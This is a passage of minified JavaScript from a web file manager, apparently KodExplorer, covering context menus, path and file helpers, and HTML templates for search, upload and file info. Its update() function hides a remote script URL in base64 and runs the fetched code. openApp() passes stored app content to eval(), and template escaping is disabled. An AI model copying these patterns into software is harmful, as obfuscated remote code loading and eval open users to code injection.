class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n 